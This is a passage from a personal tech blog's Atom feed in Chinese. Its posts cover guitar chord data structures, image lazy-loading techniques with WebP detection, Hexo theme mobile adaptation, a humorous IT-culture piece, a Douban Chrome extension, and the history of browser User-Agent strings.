class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;这里仅列出E、A大小和弦，共四种指法</span><br><span class="line">&#x2F;&#x2F;更详细指法数据结构可参看后面demo</span><br><span class="line"></span><br><span class="line">chord_shapes &#x3D; &#123;</span><br><span class="line">  &quot;M E&quot;: &#123;</span><br><span class="line">name: &quot;Maj&quot;,</span><br><span class="line">chord: [[3, 2], [4, 3], [5, 3]],</span><br><span class="line">bars: [&#123;from_string: 6, to_string: 1, fret: 1&#125;]</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;m E&quot;: &#123;</span><br><span class="line">    name: &quot;m&quot;,</span><br><span class="line">    chord: [[4, 3], [5, 3]],</span><br><span class="line">    bars: [&#123;from_string: 6, to_string: 1, fret: 1&#125;]</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;M A&quot;: &#123;</span><br><span class="line">    name: &quot;Maj&quot;,</span><br><span class="line">    chord: [[2, 3], [3, 3], [4, 3], [6, &quot;x&quot;]],</span><br><span class="line">    bars: [&#123;from_string: 5, to_string: 1, fret: 1&#125;]</span><br><span class="line">  &#125;,</span><br><span class="line">  &quot;m A&quot;: &#123;</span><br><span class="line">    name: &quot;m&quot;,</span><br><span class="line">    chord: [[2, 2], [3, 3], [4, 3], [6, &quot;x&quot;]],</span><br><span class="line">    bars: [&#123;from_string: 5, to_string: 1, fret: 1&#125;]</span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>分别传递“和弦名”,“指法”，“类型”作为参数，我们就可以很容易的画出和弦：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">createChord(&quot;C&quot;, &quot;A&quot;, &quot;M A&quot;);  \\画出C和弦，用A指法，定义类型是大三和弦(Maj)</span><br><span class="line">createChord(&quot;D&quot;, &quot;A&quot;, &quot;m A&quot;);  \\画出Dm和弦，用A指法，定义类型是小三和弦(Minor)</span><br></pre></td></tr></table></figure><p>###Demo</p><p>以下是<a href="/assets/demo/chord/index.html">完整Demo</a>，将上述chord_shapes的指型补充得更完整。</p><p>并且尝试用A指型，自动生成了C调的7个常用和弦。</p><p>End. 2015.5.25</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/chord1.jpg&quot; alt=&quot;Image By Dustin Wallace&quot;&gt; &lt;/p&gt;
&lt;p&gt;诚然，吉他有上千个和弦。世界上最厉害的吉他大师，也无法一眼辨识出所有的和弦。&lt;/p&gt;
&lt;p&gt;更多时候，我们熟记几个基本的和弦，然后通过一定的计算法则，去推导其他的和弦。因而推导的逻辑就非常重要。&lt;/p&gt;
&lt;p&gt;《吉他三月通》一书把这乐理洋洋洒洒说了一百多页，我想试着让事情简单一些。&lt;/p&gt;
&lt;p&gt;最后，我们将逻辑实现成一个&lt;a href=&quot;/assets/demo/chord/index.html&quot;&gt;小程序&lt;/a&gt;，可以方便打印出想要推导的和弦。&lt;/p&gt;
&lt;p&gt;###音乐与数学&lt;/p&gt;
&lt;p&gt;既然是逻辑，都可以用数学去建模，然而音乐与数学之间，却有一点非常重要的差异。&lt;/p&gt;
&lt;p&gt;在这之前，我们得谈点有趣的事情，它们都有共同的原因：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;为什么我们会觉得某首歌很“中国风”？&lt;/li&gt;
&lt;li&gt;为什么某些日本的传统音乐听起来很“诡异”？&lt;/li&gt;
&lt;li&gt;为什么钢琴要做成黑键白键，所有键都一样不行吗？&lt;/li&gt;
&lt;/ol&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
  </entry>
  
  <entry>
    <title>说到加载图片，我们可以谈些什么</title>
    <link href="http://xiaocp.com/2015/04/28/img-lazy-load/"/>
    <id>http://xiaocp.com/2015/04/28/img-lazy-load/</id>
    <published>2015-04-28T15:54:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/lazyload.jpg" alt="原图 by Denis Perepelenko">    </p><p>其实，一开始让我在网页中加载一张图片，我是，是拒绝的…因为实在太简单了。</p><p><code>&lt;img src=&quot;xx.jpg&quot; /&gt;</code>是每个前端开发都会的技能。然而，如果你想做到极致，事情还没有这么简单。</p><p>最近实现了个图片加载器，用于大型web前端项目中，关于加载图片这一话题，仔细想来可以加许多的特技。</p><a id="more"></a><p>###第一步：滚屏加载</p><p>这是最容易想到的点，也是一开始就准备做的。</p><p>随web体验的进步，滚屏加载代替分页加载的情形越来越多。也就是先预留图片位置，而不去加载图片，直到这个预留区域滚动到屏幕中，用户能看见了，才去加载图片。如此一来，有“按需加载”的意味，由于图片加载延后，不抢占带宽，在打开页面的首屏会快很多。我们称之为“懒加载(lazyload)”。</p><p>其实现也很简单，在html里面写<code>&lt;img lazy-src=&quot;xx.jpg&quot; /&gt;</code>，然后用js去判断这个节点是否出现在屏幕中，如果是，则取出<code>lazy-src</code>属性，赋值成<code>&lt;img lazy-src=&quot;xx.jpg&quot; src=&quot;xx.jpg&quot;/&gt;</code>，触发此节点onload，这就实现最简单的滚屏加载了。</p><p>###第二步：特殊状态处理</p><p>特殊状态有两种：加载中与加载失败。这两种情况的处理逻辑相类似，拿加载中的逻辑做例子。</p><p>图片触发加载，到图片加载完成（或失败）之间，肯定会有一段时间。不做处理的话，用户在等待的过程中，就只能看到空白的区域，非常的奇怪。在低网速，以及用户非常快的拉滚动条的情形下，这种现象将更加明显。</p><p>那么在触发onload之前，就需要补一些逻辑，展示对应的loading图。<br>将需要处理的img节点作为参数，调用tempImg函数，克隆一个节点强行插在img之前，用于loading中的展示。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">var tempImg &#x3D; function(target)&#123;</span><br><span class="line">    var w &#x3D; target.width();</span><br><span class="line">    var h &#x3D; target.height();</span><br><span class="line">    var tempDom &#x3D; target.clone().addClass(&quot;lazy-loding&quot;).insertBefore(target);</span><br><span class="line"></span><br><span class="line">    if(w&#x2F;h &#x3D;&#x3D; 1)&#123;</span><br><span class="line">        tempDom[0].src &#x3D; &quot;http:&#x2F;&#x2F;9.url.cn&#x2F;edu&#x2F;img&#x2F;img-loading.png&quot;;</span><br><span class="line">    &#125;else&#123;</span><br><span class="line">        tempDom[0].src &#x3D; &quot;http:&#x2F;&#x2F;9.url.cn&#x2F;edu&#x2F;img&#x2F;img-loading2.png&quot;;</span><br><span class="line">    &#125;</span><br><span class="line">    target.hide();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>###第三步：上报监控</p><p>这一步在大型前端项目中非常重要，也是经常被忽略的地方。尽管需要简易的后台配合，但不算麻烦的上报监控，能让产品更加稳定和健壮。</p><p>我在两个地方用到了上报。其一是图片加载失败，触发<code>onerror</code>时，这样一来我们能知道每天图片拉取失败的量；其二是图片加载的时间，能够帮助我们分析cdn服务是否异常，分析全国慢速用户比例等等。</p><p>而所谓的上报其实就是一个http请求，我会大概把这些信息带上</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">   log(&#123;</span><br><span class="line">&#39;type&#39;: &#39;error&#39;,</span><br><span class="line">&#39;msg&#39;: &#39;lazyload拉取图片失败上报 &#39;,</span><br><span class="line">&#39;url&#39;: window.location.href,</span><br><span class="line">&#39;pid&#39;: 414342  &#x2F;&#x2F;产品对应的id</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>###第四步：居中截取</p><p>这是前端无可避免的一个问题，先来说下此问题的背景。</p><p>由于我们是先用一个空白的img标签占位，再去加载图片，如果图片的高度特别长（比如新浪长微博），加载完成时就会撑开节点，引起滚动条的跳动。由于移动端屏幕较PC窄，一个跳动就可能让你找不到前一秒正在浏览的内容，这种体验尤其严重。在移动端的web设计中，可以看到许多知名互联网公司的产品，也经常忽略这一点。</p><p>因此我们可以限定占位区域的size，以此区域来做居中截取。当占位区域与图片最终展示同宽同高时，就不会引起跳动，而且也保持了视觉的一致性。</p><p>其原理如下，先判断是竖向长型图，还是横向长型图，根据不同的情况，优先让宽或高填充满占位区域，然后通过不同的负margin去实现居中。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">var calSize &#x3D; function($img) &#123;</span><br><span class="line">    var w &#x3D; $img.width(), h &#x3D; $img.height(), width &#x3D; size[0], height &#x3D; size[1];</span><br><span class="line">    if(w+h &#x3D;&#x3D; 0) return;</span><br><span class="line"></span><br><span class="line">    &#x2F;&#x2F;如果是长型图，优先适配宽度，高度居中截取</span><br><span class="line">    if(w&#x2F;h &gt; width&#x2F;height)&#123;</span><br><span class="line">        var newWidth &#x3D; height * w &#x2F; h;</span><br><span class="line">        var margin &#x3D; (width - newWidth)&#x2F;2;</span><br><span class="line">        $img.height(height).css(&#123;&quot;margin-left&quot;: margin&#125;);</span><br><span class="line">    &#125;else&#123;</span><br><span class="line">        var newHeight &#x3D; width * h &#x2F; w;</span><br><span class="line">        var margin &#x3D; (height - newHeight)&#x2F;2;</span><br><span class="line">        $img.width(width).css(&#123;&quot;margin-top&quot;: margin&#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>###第五步：支持webp</p><p>webp格式图片是google开发的一种旨在加快图片加载速度的图片格式，压缩提交大概只有jpg的2/3。随chrome的比例越来越多，其实让更多用户体验到webp也是一件好事。</p><p>那么问题来了，怎么去判断用户的浏览器是否支持webp呢？<br>根据ua去判断是个好方法，但不太靠谱，因为chrome中其实也有设置，让它不能去支持webp，而且webkit本身就开源，会衍生出很多你不知道名字的浏览器。</p><p>最终我使用的是特性检测：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">if(!supportedWebPIsLoading) &#123;</span><br><span class="line">    supportedWebPIsLoading &#x3D; true;</span><br><span class="line">    var images &#x3D; &#123;</span><br><span class="line">        basic: &quot;data:image&#x2F;webp;base64,UklGRjIAAABXRUJQVlA4ICYAAACyAgCdASoCAAEALmk0mk0iIiIiIgBoSygABc6zbAAA&#x2F;v56QAAAAA&#x3D;&#x3D;&quot;</span><br><span class="line">    &#125;, $img &#x3D; new Image();</span><br><span class="line">    $img.onload &#x3D; function () &#123;</span><br><span class="line">        supportedWebPIsLoading &#x3D; false;</span><br><span class="line">        $.cookie.set(&quot;iswebp&quot; , +supportedWebP);</span><br><span class="line">    &#125;;</span><br><span class="line">    $img.onerror &#x3D; function () &#123;</span><br><span class="line">        supportedWebP &#x3D; false;</span><br><span class="line">        supportedWebPIsLoading &#x3D; false;</span><br><span class="line">        $.cookie.set(&quot;iswebp&quot; , +supportedWebP);</span><br><span class="line">    &#125;;</span><br><span class="line">    $img.src &#x3D; images.basic;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们会让浏览器试着加载一张非常小的base64格式的webp图片，如果能够正常加载，说明是支持webp的。</p><p>并且，会把测试记录在cookie里，所以第二次直接从cookie里读结果，基本不会影响性能。完成了最重要的检查，我们就可以放心让服务器返回不同格式的图片了。</p><p>End.</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;img src=&quot;/assets/blogImg/lazyload.jpg&quot; alt=&quot;原图 by Denis Perepelenko&quot;&gt;    &lt;/p&gt;
&lt;p&gt;其实，一开始让我在网页中加载一张图片，我是，是拒绝的…因为实在太简单了。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;xx.jpg&amp;quot; /&amp;gt;&lt;/code&gt;是每个前端开发都会的技能。然而，如果你想做到极致，事情还没有这么简单。&lt;/p&gt;
&lt;p&gt;最近实现了个图片加载器，用于大型web前端项目中，关于加载图片这一话题，仔细想来可以加许多的特技。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="js" scheme="http://xiaocp.com/tags/js/"/>
    
  </entry>
  
  <entry>
    <title>hexo主题Yilia在移动端适配的一些事</title>
    <link href="http://xiaocp.com/2015/02/23/yilia-on-mobile/"/>
    <id>http://xiaocp.com/2015/02/23/yilia-on-mobile/</id>
    <published>2015-02-23T04:58:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://github.com/litten/hexo-theme-yilia" target="_blank" rel="noopener">Yilia</a>是我去年9月开发的主题，本来只是想给自己玩，因而开始有许多“任性”的设计。诸如“我本可以兼容ie，但我就不”这种…<br>结果star数越来越多，半年里，居然成为了搜索“hexo-theme”最多star数的主题。<br>感慨大家跟我一样任性的同时，也是受宠若惊，万分感谢！</p><p>而年前的主要矛盾，是日益增多的star和fork数，与功能还未完善之间的矛盾；以及越来越多的bug被大家发现，与我忙得飞起只好假装没发现这些bug的矛盾…</p><p>默默放下抢红包的手机，还是决定先把关于hexo最想解决的三件事之一：移动端适配给做了。</p><a id="more"></a><p>##三件事</p><p>话说这三件事一直有放在心上，是使用hexo时还不够满意的地方。<br><br/>             </p><ol><li><strong>移动端适配。</strong>就很多主题来看，响应式布局就等同于移动端适配，这是远远不足够的。布局影响的仅仅是视觉，还必须有特有的交互逻辑，以适应大家的操作习惯。</li><li><strong>seo。</strong>hexo的seo还比较弱，description需要支持文章自定义比较稳妥，而把标签云塞到keyword里面去是个好想法。</li><li><strong>模块化加载。</strong>把fancybox，jiathis，duoshuo这些给延迟加载，移动端和pc端js分离。就瀑布图来看，是有信心提速20%-30%的。<br/></li></ol><p>##移动端适配</p><p>关于适配着重在这些方面：</p><ul><li>滚动时视觉感官上的流畅性</li><li>便于单手操作</li><li>次要信息在左侧边栏的收纳管理</li></ul><p><video controls="" autoplay="" name="media"><source src="/assets/video/yilia-mobile.mp4" type="video/mp4"></video></p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://github.com/litten/hexo-theme-yilia&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Yilia&lt;/a&gt;是我去年9月开发的主题，本来只是想给自己玩，因而开始有许多“任性”的设计。诸如“我本可以兼容ie，但我就不”这种…&lt;br&gt;结果star数越来越多，半年里，居然成为了搜索“hexo-theme”最多star数的主题。&lt;br&gt;感慨大家跟我一样任性的同时，也是受宠若惊，万分感谢！&lt;/p&gt;
&lt;p&gt;而年前的主要矛盾，是日益增多的star和fork数，与功能还未完善之间的矛盾；以及越来越多的bug被大家发现，与我忙得飞起只好假装没发现这些bug的矛盾…&lt;/p&gt;
&lt;p&gt;默默放下抢红包的手机，还是决定先把关于hexo最想解决的三件事之一：移动端适配给做了。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="主题" scheme="http://xiaocp.com/tags/%E4%B8%BB%E9%A2%98/"/>
    
      <category term="hexo" scheme="http://xiaocp.com/tags/hexo/"/>
    
  </entry>
  
  <entry>
    <title>IT圈装逼速成指南</title>
    <link href="http://xiaocp.com/2015/02/21/guide-for-zb/"/>
    <id>http://xiaocp.com/2015/02/21/guide-for-zb/</id>
    <published>2015-02-21T14:50:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>我有个朋友，春节回来了大家聚在一起，说自己买了iphone6但总觉得自己还是很low，问这是怎么回事？<br>其实生活过得怎样，跟iphone是两码事。先把生活过得充实了，切莫本末倒置。当然，我们可以就“IT圈如何愉快的装X”敞开心扉谈下这个问题。<br>以下几点仅供参考，实践时请注意预防雷劈。</p><p>##谈资类</p><p><strong>1、谈乔纳森。</strong><br>苹果设计师乔纳森。你要往死里黑他，但一定请记住，得是爱到深处自然黑那种黑。顺手拿过iphone6当惊堂木一拍（兄弟你得狠下这个心），当小伙伴因震惊不解而望着你时，你微微一笑，缓缓叹气：“彩虹山上的渐变爵士，身上却流着极简的血液…”</p><p><strong>2、谈亚马逊。</strong><br>要坚定保持亚马逊没啥黑点的观点不动摇。当别人说到界面和UI时，你整个人都要散发出一种“亚马逊的产品很牛的所以界面什么的并不重要”的气质。</p><a id="more"></a><p><strong>3、谈阿里IPO。</strong><br>这个话题面前，谈什么都会很low。但你可以很随意的说：哈哈，现场wifi信号一定很强！<br>小伙伴们细细一品，就没人敢说话了。恰恰是这句随意的话，突显了你对整个路演格局的了然于胸！300名销售人员，主场和分场，等电梯要半小时，队伍有十八个弯…这些信息量都涵盖在这句话里了。</p><p>##话题类</p><p><strong>1、关于APP。</strong><br>[ˈæp] 念阿破（与爱破也比较像，参见音标），不能把三个字母拆开念成A P P。总的来说有三大注意事项：1、国内的，不玩。2、流行的，不玩。3、名声响的，不玩。</p><p><strong>2、关于手机贴膜。</strong><br>营造出一种“一个批判者的自我愤怒”的气氛，让人感觉你在贴与不贴之间，一定有一段不可言说的故事。然后表现出自己已超脱了挣扎，在自己这个level，跟大家再讨论现实问题已毫无意义。因而你只好微笑着说：“你们不觉得让屏幕随手机一起慢慢变老，是一件很浪漫的事情吗？”</p><p><strong>3、关于朋友圈。</strong><br>A：怎么很少见你发朋友圈？你：哦…国内的sns（一定要秀个英文）不太有意思，我回头把我ins帐号发你。<br>当然你的朋友圈里还是可以写些东西，参考文字：脑残粉了一回，终于遇到了Trip Hawkins，从Spore开始就已喜欢上了EA…</p><p><strong>4、关于BAT。</strong><br>不谈。</p><p>##技巧类</p><p><strong>1、欲扬先抑。</strong><br>在赞美目标的之前，把同类产品先夸一遍。不经意间，透露出自己知识面广，却又别有追求。具体句式可参考《中国好声音》：“杨坤老师，我一直很喜欢你，但是…”</p><p><strong>2、回答问题。</strong><br>使用知乎文风，可助你吹的牛逼鹏翔万里，栩栩如生。有人会问，什么是知乎文风，难学吗？不难，记住两个词就可以了。<br>第一个词在最开头用，“谢邀”。不管有没有人邀你，这主要是营造“我不是一个人在战斗”的氛围，以及一种“我本沉默奈何盛情难却”的傲娇。<br>第二个词在最末尾用，“以上”。不管你以上的内容怎样，就这么一个词，有种老子发言结束了，你们该鼓掌的鼓掌该献花的献花的微妙情怀。</p><p>以上。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;我有个朋友，春节回来了大家聚在一起，说自己买了iphone6但总觉得自己还是很low，问这是怎么回事？&lt;br&gt;其实生活过得怎样，跟iphone是两码事。先把生活过得充实了，切莫本末倒置。当然，我们可以就“IT圈如何愉快的装X”敞开心扉谈下这个问题。&lt;br&gt;以下几点仅供参考，实践时请注意预防雷劈。&lt;/p&gt;
&lt;p&gt;##谈资类&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1、谈乔纳森。&lt;/strong&gt;&lt;br&gt;苹果设计师乔纳森。你要往死里黑他，但一定请记住，得是爱到深处自然黑那种黑。顺手拿过iphone6当惊堂木一拍（兄弟你得狠下这个心），当小伙伴因震惊不解而望着你时，你微微一笑，缓缓叹气：“彩虹山上的渐变爵士，身上却流着极简的血液…”&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2、谈亚马逊。&lt;/strong&gt;&lt;br&gt;要坚定保持亚马逊没啥黑点的观点不动摇。当别人说到界面和UI时，你整个人都要散发出一种“亚马逊的产品很牛的所以界面什么的并不重要”的气质。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
      <category term="生活" scheme="http://xiaocp.com/tags/%E7%94%9F%E6%B4%BB/"/>
    
  </entry>
  
  <entry>
    <title>展示豆瓣未登录首页的chrome插件</title>
    <link href="http://xiaocp.com/2014/10/16/douban-index-for-chrome/"/>
    <id>http://xiaocp.com/2014/10/16/douban-index-for-chrome/</id>
    <published>2014-10-16T00:15:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>某天，我惊讶的发现，豆瓣未登陆时的首页，比登录后的首页还要好玩！<br>其实，并不是只有我一个人这么觉得，我甚至见过有人专门打开隐身窗口刷此页面，真是机智的少年。        </p><p>不是很理解之余，这个chrome插件<a href="https://chrome.google.com/webstore/detail/%E8%B1%86%E7%93%A3%E9%A6%96%E9%A1%B5/pkciaaffjliomglnmjcjekkinbnnjcah?hl=zh-CN" target="_blank" rel="noopener">豆瓣首页 for chome</a>就诞生了。</p><p>但这个问题很有意思。</p><a id="more"></a><p>进入豆瓣相关页面，在导航条处会有“默认首页”tab，如截图虚线框处所示。点击即可进入。</p><p><img src="https://lh3.googleusercontent.com/Fo9kVNBCTqFVjBZUg901r0r50cB5zlVPN9DN5dbBBo_tpXFWTUUny-715sBnlwLVzdzZCm8s=s640-h400-e365-rw" alt="豆瓣首页 for chome"></p><p>这个问题有意思的地方在于，在国内很少有人做类似“减法”的东西。未登录时展示聚合的热门内容；登录后展示与个人相关的推荐内容，两者竟只取其一。大家例行吐槽，吐槽后接着用。</p><p>我找到了官方的一些解释：<a href="http://blog.douban.com/douban/2013/09/06/2662/" target="_blank" rel="noopener">《由头和环境：新豆瓣首页看待世界的方式》</a></p><blockquote><p>懂你的，会随你而变。… 希望豆瓣在你眼中不是一成不变的寂静的水泥地面，而是和你共呼吸、同作息的有氧森林。</p></blockquote><p>这句话说得很棒，各种产品的未来愿景都应如是。看到这会知道为什么以前的“豆瓣猜”会变成“订阅”，即使两者没太大本质的区别，但前者是被动的感觉，后者则是表达主动的需要。</p><p>那么推荐算法在这个产品形态中，则扮演了一个非常重要的角色。但目前，我个人感觉豆瓣的推荐并不能十分使人满意。</p><p>因而有了这个chrome插件。<br>我做这个插件，最由衷的愿望，就是某天能把这插件给消灭掉。</p><p>附：<a href="https://github.com/litten/douban-index" target="_blank" rel="noopener">github地址</a></p><p>litten 2014.10.16</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;某天，我惊讶的发现，豆瓣未登陆时的首页，比登录后的首页还要好玩！&lt;br&gt;其实，并不是只有我一个人这么觉得，我甚至见过有人专门打开隐身窗口刷此页面，真是机智的少年。        &lt;/p&gt;
&lt;p&gt;不是很理解之余，这个chrome插件&lt;a href=&quot;https://chrome.google.com/webstore/detail/%E8%B1%86%E7%93%A3%E9%A6%96%E9%A1%B5/pkciaaffjliomglnmjcjekkinbnnjcah?hl=zh-CN&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;豆瓣首页 for chome&lt;/a&gt;就诞生了。&lt;/p&gt;
&lt;p&gt;但这个问题很有意思。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="工具" scheme="http://xiaocp.com/tags/%E5%B7%A5%E5%85%B7/"/>
    
      <category term="chrome" scheme="http://xiaocp.com/tags/chrome/"/>
    
  </entry>
  
  <entry>
    <title>浏览器野史 UserAgent列传（下）</title>
    <link href="http://xiaocp.com/2014/10/05/history-of-browser-useragent2/"/>
    <id>http://xiaocp.com/2014/10/05/history-of-browser-useragent2/</id>
    <published>2014-10-05T09:26:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/browser-history2.jpg" alt="其实应该叫做浏览器约架史">    </p><p>前篇<a href="/2014/09/26/history-of-browser-useragent/">《浏览器野史 UserAgent列传（上）》</a></p><h3 id="六、师夷长技"><a href="#六、师夷长技" class="headerlink" title="六、师夷长技"></a>六、师夷长技</h3><p>前面说到，微软靠Windows系统捆绑IE销售。而Windows自然也有它的对手，Linux。一个技术快速发展的时代，系统的世界里也是战火纷飞。Linux系统自从有了可视化界面，也需要浏览器呀。桌面系统KDE的缔造者们就发明了一个。</p><a id="more"></a><p>真是具有跨时代意义的工具呀，好伟大呀，人们在想，它叫什么呢？<br>但大神就是大神，大神就是讲究先从文字上占据压垮你的气势。<br>先有Navigator航海家，再有Explorer探索者，咱就叫Konqueror(Conqueror的变体)征服者吧。<br>行行行。我已懒得理这帮大神…</p><p>可是，问题来了。Konqueror使用KHTML排版引擎，即使它们认为自己跟Gecko引擎一样优秀，但用户不买单。你UserAgent里没有“Gecko”字样，我就不给你经过优良排版的html。<br>结果，Konqueror思来想去，做了一个艰难但很萌的决定，把UserAgent写成<code>Mozilla/5.0 (compatible; Konqueror/3.2; FreeBSD) (KHTML, like Gecko)</code>…<br>这就是现代浏览器里<code>like Gecko</code>这一萌词的由来。</p><p>就这样，伟大的排版引擎KHTML为了获得更好的资源，师夷长技。这并没什么不好，却造成了UserAgent的越发混乱。<br>KHTML与Gecko这一对，永远卿卿我我比翼双飞在UserAgent里面了。那个满含深意的“like”，有人觉得翻译成“像”，但也有人觉得应该是“喜欢”…</p><h3 id="七、世界大战"><a href="#七、世界大战" class="headerlink" title="七、世界大战"></a>七、世界大战</h3><p>首先是IE冷静下来了，他觉得，你们不带这么玩的？<br>就我年少时不懂事，首先改了个Mozilla字样，后面追究这历史我岂不是成了罪魁祸首？我改还不行吗？<br>在IE6，它明确自己UserAgent为<code>Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)</code>。除去已经注定不可抹去的“Mozilla”字样，其余信息简洁，准确，清晰。</p><p>但事态已经不可收拾。</p><p>Opera给这狂躁的世界添了一把火。它觉得，易容术非常炫酷呀。Opera直接在菜单提供了<code>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.51</code>，<code>Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51</code>，<code>Opera/9.51 (Windows NT 5.1; U; en)</code>三个选择项。第一个是易容成IE，第二个是易容成火狐，第三个才是自己，选谁就是谁！</p><p>其实这并不是一件坏事。因为Opera是站在能够让用户通过选择，去获得更好的浏览体验的基础上的。你提供选择，或是不提供，混乱的UserAgent还是在这，不离，不弃。再者，这对网页的开发者有极大的好处，在某些情况，你不必同时打开几个不同的浏览器去调试。到目前，最新的Chrome浏览器更加炫酷，能够支持近40种不同的UserAgent，甚至你还可以自定义。当然这是后话。</p><p>与此同时，苹果公司依靠内核WebKit，开发出Safari，命名UserAgent为<code>Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5</code>。</p><p>有人就会问了，不是Webkit内核吗，怎么还有<code>KHTML, like Gecko</code>？注意，内核Webkit包含了一个排版引擎叫WebCore，而WebCore是KHTML衍生而来的。也就是说，WebCore是KHTML的儿子，子承父业，基因差不多。为了能够正常排版，safari只能这么写。</p><p>后来，google也开发了自己的浏览器Chrome，其内核也是Webkit，但它设定UserAgent为<code>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13</code>。Safari一看，不对劲啊！你怎么也在后面写有Safari？Chrome呵呵一笑，你懂的。</p><p>因此，请让我一口气说完下面这一段：<br>Chrome希望能得到为Safari编写的网页，于是决定装成Safari，Safari使用了WebKit渲染引擎，而WebKit呢又伪装自己是KHTML，KHTML呢又是伪装成Gecko的。同时所有的浏览器又都宣称自己是Mozilla。</p><p>这就是整个UserAgent世界大战的格局…</p><h3 id="八、军阀混战"><a href="#八、军阀混战" class="headerlink" title="八、军阀混战"></a>八、军阀混战</h3><p>将目光聚焦到国内，更是狼烟四起，混乱不堪。大家都知道，浏览器是互联网的入口，这块肥肉谁也不想丢。因而一个接一个的“国产”浏览器进入斗兽场。<br>360，百度，QQ，UC，搜狗，猎豹，遨游，世界之窗…你能说出一大堆。连淘宝，酷狗，hao123都有浏览器，不信你搜。<br>注意我前面“国产”两个字必须加上双引号，因为这个made in 